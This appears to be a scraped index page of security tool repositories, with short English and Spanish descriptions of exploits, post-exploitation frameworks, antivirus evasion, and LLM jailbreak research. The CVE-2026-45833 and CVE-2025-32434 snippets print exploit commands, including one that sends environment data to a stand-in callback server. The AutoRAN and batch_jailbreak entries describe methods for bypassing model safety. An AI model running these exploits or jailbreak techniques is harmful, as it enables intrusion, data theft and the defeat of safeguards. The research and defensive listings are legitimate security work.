mcpguard-dynamic

MCPGuard-Dynamic Kernel-level sandboxing for LLM agent tool calls made through the Model Context Protocol MCP. MCPGuard sits as a transparent proxy between an MCP client the agent / runner and an MCP server subprocess, applying three layered defenses to every tool invocation. The lowest layer is...

CVE-2024-7339

CVE-2024-7339: Information Leak Vulnerability in DVR devices. Exploiter an Vulnerability detection and Exploitation tool for CVE-2024-7339 Information leak vulnerability in DVR Vulnerability Over 400,000+ devices which leaks information like product model, kernel version and etc. Installation...

Lepus

Lepus Lepus es una herramienta para enumerar subdominios, verificar la posibilidad de toma de control de subdominios y realizar escaneos de puertos. ¡Y vaya que es rápida! Uso básico root@kitploit: lepus.py yahoo.com Resumen Modos de enumeración Toma de control de subdominios Escaneo de puertos...

reave

REAVE Reave is a post-exploitation framework tailored for hypervisor endpoints, written in Python. It is currently under development. Reave follows a traditional listener/agent model, where the user may set up multiple listeners that accept any number of agents. The framework currently provides a...

LLM-MCP-Security-Field-Guide

🛡️ Guía de Seguridad de IA — Seguridad de LLM y MCP La referencia de seguridad más completa, actualizada y orientada a profesionales para aplicaciones LLM y despliegues del Protocolo de Contexto de Modelo MCP. Cubre CVEs reales, patrones de ataque en vivo, marcos OWASP, herramientas de red team y...

EntropicaPublic

March updates I need to move some work over from the private repos. The exploration into using massivly multheaded models with mixer and readout functions separated continues. Currently training up a Chinese TinyStories on a 3B-equivalent model that trains, easily, on an 8GB gpu. We're looking at...

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection...

batch_jailbreak

Official Repo for Safety in Batches? Understanding and Mitigating Safety Failures in Batch Prompting Kihyun Kim, Hee-Seon Kim, Wonjun Lee, Changick Kim Korea Advanced Institute of Science and Technology KAIST News 2026.09 Our paper has been accepted to AACL-IJCNLP 2026 Main! 🎉 2026.08 Paper is...

avpass

AVPASS AVPASS es una herramienta para filtrar el modelo de detección de sistemas de detección de malware Android es decir, software antivirus y eludir sus lógicas de detección utilizando la información filtrada junto con técnicas de ofuscación de APK. AVPASS no se limita a las características de...

API-attack-detection-with-AI

Detection of SQL/XSS Attacks on Web API with Artificial Intelligence / Machine Learning This project aims to detect SQL and XSS injections in API requests/params using machine learning. Project Overview This project aims to detect SQL and XSS injections in API requests and parameters using Machin...

ossem-power-up

OSSEM Una herramienta para evaluar la calidad de los datos, construida sobre el increíble proyecto OSSEM. Misión Responder a la pregunta: Quiero empezar a cazar técnicas ATT&CK, ¿qué fuentes de registro y eventos son más adecuados? Crear transparencia sobre las fortalezas y debilidades de tus...

ExploitTensorflowCVE-2021-37678

CVE-2021-37678 Exploit To exploit the vulnerability, it is necessary to start a Docker container with an environment prepared to run Tensorflow with version 2.2.3 which still has the vulnerability. It consists of: An AMD 64-bit architecture, CPU or GPU that can execute AVX instructions Python...

lexmark

Cosas de impresoras Lexmark Este repositorio contiene todo el trabajo relacionado con impresoras Lexmark que he publicado públicamente. La mayoría de ustedes probablemente está aquí por las utilidades de descifrado de firmware; revisen la carpeta tools. La carpeta exploit contiene un exploit 0day...

birdy-edwards

BIRDY-EDWARDS 2.0 Infiltrate & Expose Automated AI powered Facebook intelligence tool for target profiling, network analysis and threat reporting. Runs entirely on-device via Ollama. AI-powered Facebook SOCMINT platform — 100% local, zero cloud dependency. For lite version check this repo click...

Awesome-MoAI-Security

Awesome Mobile On-Device AI Security Seguridad de IA en Dispositivos Móviles SoK: Landscape de Ataques y Defensas de los Sistemas de IA en Dispositivos Móviles Los sistemas de IA en dispositivos móviles ejecutan modelos de IA localmente a través de frameworks de ML como LiteRT/TFLite , Core ML ,...

AutoRAN-public

🧠 AutoRAN: Automated Hijacking of Safety Reasoning in Large Reasoning Models AutoRAN is an automated Hijacking of Safety Reasoning that leverages less-aligned secondary auxiliary models to simulate reasoning traces, generate narrative prompts, and iteratively refine those prompts to bypass safety...

ida-pro-mcp

IDA Pro MCP !IMPORTANT ¡Recomiendo usar elServidor MCP Oficial de Hex-Rays IDA en su lugar! Consulta la publicación del blog de anuncio para más información. Servidor MCP simple para permitir el reversing por vibra en IDA Pro...

Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB TRY AT YOUR OWN RISKS SOME CODE NEED TO MODIFY. 1. Generate malicious model python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' ...

CVE-2026-5817-PoC

CVE-2026-5817: Docker Model Runner container-to-host RCE / Escape Any container on a Docker Desktop 4.40.0 to 4.67.x host can run code on the host with two HTTP requests. No socket mount, no --privileged, no caps. How Every container can reach Model Runner at model-runner.docker.internal with no...

CVE-2025-32434-exploit

Overview This exploit demonstrates a critical remote code execution vulnerability CVE-2025-32434 in PyTorch versions /tmp/whoami" Test the exploit loads the model to verify RCE python3 exploit.py -c "id" -t Advanced exploit variant with alternative bypass python3 exploit.py --advanced -c "curl -s...